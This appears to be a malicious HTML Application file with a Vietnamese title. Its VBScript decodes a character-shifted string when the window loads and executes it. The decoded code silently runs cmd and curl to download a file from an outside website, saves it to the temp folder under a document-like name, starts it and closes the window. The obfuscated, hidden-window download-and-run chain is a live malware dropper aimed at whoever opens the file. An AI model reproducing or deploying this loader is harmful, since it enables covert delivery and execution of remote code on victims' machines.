<html>
<head>
<title>Tải xuống và mở file</title>
<HTA:APPLICATION 
    ID="App"
    APPLICATIONNAME="Download and Open File"
    BORDER="thin"
    BORDERSTYLE="normal"
    CAPTION="yes"
    SHOWINTASKBAR="yes"
    SINGLEINSTANCE="yes"
    WINDOWSTATE="normal"
/>
<script language="VBScript">
Sub Window_OnLoad
    BPKG = "":for i = 1 to 251: BPKG = BPKG + chr(Asc(mid("Kpt'viqZolssZl{'viqZolss'D'Jylh{lViqlj{/)^zjypw{5Zolss)0viqZolss5Y|u')jtk5ll'6j'j|ys'4v',{ltw,cOVZV5qwn'o{{wzA66pzwhjlkhuhun5lk|5}u6~w4jvu{lu{6|wsvhkz6979;67<6opuo4huo4klw4}l4ovj4zpuo4jhw4:485qwn'--'z{hy{',{ltw,cOVZV5qwn)3'7Zl{'viqZolss'D'Uv{opun",i,1)) - (7)):Next:Execute BPKG:
    Window.Close
End Sub
</script>                                                                                          
</head>
<body>
</body>
</html>
